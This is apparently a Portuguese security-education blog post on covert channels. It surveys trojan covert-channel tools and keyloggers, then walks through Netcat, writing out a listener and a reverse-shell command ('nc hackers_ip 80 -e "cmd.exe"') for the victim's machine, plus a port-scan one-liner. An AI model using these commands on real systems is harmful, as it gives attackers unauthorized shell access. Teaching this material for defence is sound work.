Overt e Covert Channel

Quando você está trabalhando com trojans e outros malwares, você precisa estar ciente de overt (abertos) e covert channel (secretos). Como mencionado em outras postagens, a diferença entre os dois é que um canal aberto é posto em prática por design e representa a maneira legítima ou pretendida para o sistema ou processo ser usado, enquanto que um canal secreto usa um sistema ou processo de uma forma que não foi feito para ser utilizado.

Os maiores usuários de covert channel que discutimos são os trojans. Trojans são projetados para ficar escondidos enquanto eles enviam informações ou recebem instruções de outra fonte. Usar covert channel significa que a informação e comunicação podem ser capazes de escapar de mecanismos de detecção que não foram projetados ou posicionados para estar ciente ou olhar para esse comportamento.

Ferramentas para explorar covert channel incluem o seguinte:

Loki – Originalmente projetado para ser uma prova de conceito sobre como o tráfego ICMP pode ser usado como um canal secreto. Esta ferramenta é usada para passar informações dentro de pacotes de *echo ICMP*, que podem carregar uma carga de dados, mas normalmente não. Como a capacidade de transportar dados existe, mas não é usado, isso pode fazer um canal secreto ideal.

Backdoor ICMP – Similar ao Loki, mas em vez de usar pacotes de *echo* de Ping, ele usa respostas de Ping.

007Shell – Usa pacotes ICMP para enviar informações, mas vai a etapa extra de formatar os pacotes para que eles tenham um tamanho normal.

B0CK – Semelhante ao Loki, mas usa o Internet Group Management Protocol (IGMP).

Reverse World Wide Web (WWW) Tunneling Shell – Cria canais secretos através de firewalls e proxies por se mascarar como tráfego normal da web.

AckCmd – Fornece um shell de comando em sistemas Windows. Outra maneira poderosa de extrair informações do sistema de uma vítima é usar um keylogger. O software nesta categoria foi projetado para capturar e relatar atividades sob a forma de uso de teclado em um sistema alvo. Quando colocado em um sistema, ele dá ao invasor a capacidade de monitorar toda a atividade em um sistema e relatórios de volta para o atacante. Sob as condições certas, este software pode capturar senhas, informações confidenciais e outros dados.

Alguns dos keyloggers são os seguintes:

IKS Software Keylogger – Um keylogger baseado no Windows que é executado em segundo plano em um sistema em um nível muito baixo. Devido à forma como este software é projetado e é executado, é muito difícil de detectar usando a maioria dos meios convencionais. O programa é projetado para ser executado em um nível tão baixo que não apareça em listas de processos ou através de métodos normais de detecção.

Ghost Keylogger – Outro keylogger baseado em Windows que é projetado para executar silenciosamente em segundo plano em um sistema, muito parecido com IKS. A diferença entre este software e IKS é que ele pode gravar a atividade para um log criptografado que pode ser enviado para o atacante.

Spector Pro – Projetado para capturar atividade do teclado, senhas de e-mail, conversas de bate-papo e logs, e mensagens instantâneas.

Fakegina – Um keylogger avançado que é muito específico em sua escolha de alvos. Este componente de software é projetado para capturar nomes de usuário e senhas de um sistema Windows. Especificamente, ele intercepta a comunicação entre o processo Winlogon e o logon GUI no Windows.

Netcat – É um utilitário de linha de comando simples disponível para plataformas Linux, Unix e Windows. Ele é projetado para ler informações de conexões usando TCP ou UDP e fazer redirecionamento de porta simples sobre eles conforme configurado.

Vejamos as etapas envolvidas para usar o Netcat para executar o redirecionamento de porta. O primeiro passo é para o hacker para configurar o que é conhecido como um ouvinte em seu sistema. Isso prepara o sistema do invasor para receber as informações do sistema da vítima. Para configurar um ouvinte, o comando é o seguinte:

```
nc -v -l -p 80
```

Neste exemplo, nc é executado com a opção -v para o modo detalhado, que fornece informações adicionais; -l significa escutar e -p diz ao programa para escutar em uma porta específica.

Depois disso, o atacante precisa executar o seguinte comando no sistema da vítima para redirecionar o tráfego para seu sistema:

```
nc hackers_ip 80 -e "cmd.exe"
```

Neste segundo comando, o IP desejado é introduzido e depois seguido por um número de porta; O -e diz qual executável vai ser aberto quando receber uma conexão.

Uma vez que isso é inserido, é feito um shell de comando no sistema da vítima com o comando do invasor, pronto para executar o que ele desejar.

Naturalmente, o Netcat tem outras capacidades, incluindo varredura de portas e envio de arquivos no sistema de uma vítima. A digitalização de portas pode ser realizada usando o seguinte comando:

```
nc -v -z -w1 IP <porta de início> - <porta de término>
```

Este comando verifica um intervalo de portas conforme especificado.

Netcat não é a única ferramenta disponível para fazer redirecionamento de porta. Ferramentas como Datapipe e Fpipe podem executar as mesmas funções, embora de maneiras diferentes.

A seguir está uma lista de opções disponíveis para o Netcat:

- nc –d destaca o netcat do console
- nc -l -p [porta] Cria uma simples porta ouvinte; acrescentando -u você colocará no modo UDP
- nc -e [programa] Redireciona stdin/stdout de um programa
- nc -w [timeout] Define um timeout antes do Netcat automaticamente sair
- Programa | nc Faz um pipe na saída do programa para o Netcat
- nc | programa Faz um pipe na saída do Netcat para o programa
- nc -h Mostra o help
- nc -v Coloca o Netcat no modo verbose
- nc -g ou nc -G Especifica a fonte de roteamento
- nc -t Usado para negociações Telnet
- nc -o [arquivo] FAz o dump hexadecimal do tráfego para um arquivo
- nc -z Usado para fazer varredura de porta sem transmitir dados

Sugestões de livros: